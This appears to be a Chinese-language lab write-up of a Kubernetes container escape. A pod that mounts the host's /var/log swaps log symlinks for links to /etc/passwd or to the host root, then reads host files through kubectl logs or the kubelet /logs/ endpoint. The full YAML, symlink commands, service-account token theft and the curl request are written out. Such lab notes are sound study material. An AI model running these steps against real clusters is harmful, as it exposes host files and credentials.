9.k8s-挂载节点var-log 逃逸容器

Pasted image 20250414094659

1. 实验环境

K3S 部署 1 master 集群。
1.k8s-环境搭建 > 4. K3S 部署集群

2. 逃逸场景

2.1. 前提

处在一个挂载了节点主机/var/log 目录的 Pod 中,或者,能够创建一个 Pod 并挂载节点主机的/var/log 目录

  • 当我们拥有查看 Pod Log 的权限就能不受 Pod 内的安全限制获取到节点主机的任何文件(需要知道该文件的路径),比如主机的SSH私钥、各类配置文件、凭证信息等;
  • 当我们拥有查看 Node Log 的权限就能直接获取节点主机的全部文件系统。

Kubernetes 可利用的版本? 应该是全版本范围。

通过 GitHub 搜索,可见这种危险配置范围很广。
https://github.com/search?q=hostPath%3A+++path%3A+%2Fvar%2Flog&type=code

3. 技术细节

3.1. kubernetes 如何查看日志

下图展示了 kubectl logs <pod_name> 的原理,后文会对此图进行实际的解释,
https://10.42.0.1:10250/logs/root_link/etc/hostname

/var/log/root_link/etc/hostname

Pasted image 20250413163013

当执行前文的命令后,kubelet 会在节点主机上的 /var/log 目录中创建一个目录结构,该结构用于表示节点上的 Pod,每个 Pod 在节点主机目录结构中都有一个相关的目录 /var/log/pods/<命名空间>_<pod名称>_<podUID>
目录中有 *.log 文件 实际上是一个符号链接(logs原理图中1处),这个符号链接连接到位于 /var/lib/docker/containers 目录中的容器日志文件,容器日志文件通常存储在这个目录中。(这一切都是节点主机上的)
Pasted image 20250413165921

kubelet 暴露了一个 /logs/ 端点(logs原理图中②处),它只在主机的 /var/log 目录中(logs原理图中3处)操作一个 HTTP 文件服务器,这个文件服务器使得日志文件对来自 API Server 的请求可访问。

3.2. 符号链接到主机某个敏感文件

由上文 3.1. kubernetes 如何查看日志 可得一个场景,当我们可以部署或者控制了一个挂载到主机/var/log 的 Pod,则该 Pod 将能够访问主机上所有 Pod 的日志文件。更进一步,我们在 Pod 上替换log 文件的符号链接,将其替换为指向 /etc/shadow 等主机上敏感文件的符号链接。

实验环境 K3S,先创建一个 Pod,将节点主机的 /var/log 目录挂载到 Pod /var/log 上,

#mypod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: mypod
spec:
  volumes:
  - name: log-volume
    hostPath:
      path: /var/log
  containers:
  - name: mycontainer
    image: ubuntu
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: log-volume
      mountPath: /var/log #挂载节点主机的/var/log

进入 Pod 操作,

kubectl exec -it mypod -- /bin/bash

Pasted image 20250413174309
在 Pod 中将 0.log ->/var/lib/docker/containers/5ba89664e3f9ad5bcad8af9ac1d7c7349947fd1d731d6fcf6411544c4 e234a58/5ba89664e3f9ad5bcad8af9ac1d7c7349947fd1d731d6fcf6411544c4e234a58-json.log 这个符号链接修改为 0.log -> /etc/passwd

root@mypod:/# ls -l /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log 
lrwxrwxrwx 1 root root 165 Feb 28 01:33 /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log ->/var/lib/docker/containers/5ba89664e3f9ad5bcad8af9ac1d7c7349947fd1d731d6fcf641154 4c4e234a58/5ba89664e3f9ad5bcad8af9ac1d7c7349947fd1d731d6fcf6411544c4e234a58-json.log 

root@mypod:/# rm /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log

root@mypod:/# ln -s /etc/passwd /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log

root@mypod:/# ls -l /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log lrwxrwxrwx 1 root root 11 Feb 28 01:44 /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log -> /etc/passwd

我们使用 kubectl logs mypod 查看该 Pod 日志,所以我们需要有查看 Pod log 的权限。
kubectl 在读取第一行之后报错,因为它需要 JSON 格式,可以加 --tail=10 指定返回 Pod 的最后10行日志,即可读取到节点主机 /etc/passwd 文件中其他行数据,

kubectl logs mypod --tail=1 ,下图中可得主机节点昀后一个用户配置是 username:x:1001:1001::/home/username:/bin/bash
Pasted image 20250413174706

需要注意的是,如果你在 Pod 中直接操作 0.log 文件,实际上是在操作 Pod 中的 /etc/passwd ,而不是主机节点的passwd (因为kubelet 会跟随符号链接)
Pasted image 20250413174738

kubelet 是运行在节点上的 Kubernetes 组件之一,通常以 root 权限运行。这使得 kubelet 具有对节点上文件系统的读取权限

由于 kubelet 会跟随符号链接,攻击者可以通过在 Pod 内创建符号链接来利用 kubelet 的 root 权限读取主机节点上的任何文件,而不受 Pod 内的安全限制(因为读取是在主机节点上进行的)。

3.3. 符号链接到主机整个文件系统

创建相关模拟环境,

kubectl apply -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
  name: logger
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: user-log-reader
rules:
- apiGroups: [""]
  resources:
  - nodes/log
  verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: user-log-reader
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: user-log-reader
subjects:
- kind: ServiceAccount
  name: logger
  namespace: default
---
apiVersion: v1
kind: Pod
metadata:
  name: mypod
spec:
  serviceAccountName: logger
  containers:
  - name: mycontainer
    image: alpine
    command: ["sleep", "infinity"]
    volumeMounts:
    - name: logs
      mountPath: /var/log/host
  volumes:
  - name: logs
    hostPath:
      path: /var/log/
      type: Directory
EOF
#进入 Pod 操作, 
kubectl exec -it mypod -- /bin/sh
#添加符号链接, 
ln -s / /var/log/host/root_link``ls -l /var/log/host/root_link

#安装 curl,因为BusyBox的wget问题(alpine容器以BusyBox为基础的)
sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories apk add curl

#获取 kubelet 的地址,
ip route | grep default | awk '{print $3}'

#获取 Pod 的 token, 
cat /var/run/secrets/kubernetes.io/serviceaccount/token

#获取宿主机(节点主机)的根目录以及hostname文件信息, 
curl -k -H 'Authorization: Bearer [获取的TOKEN]''https://10.42.0.1:10250/logs/root_link/etc/hostname'

4. 参考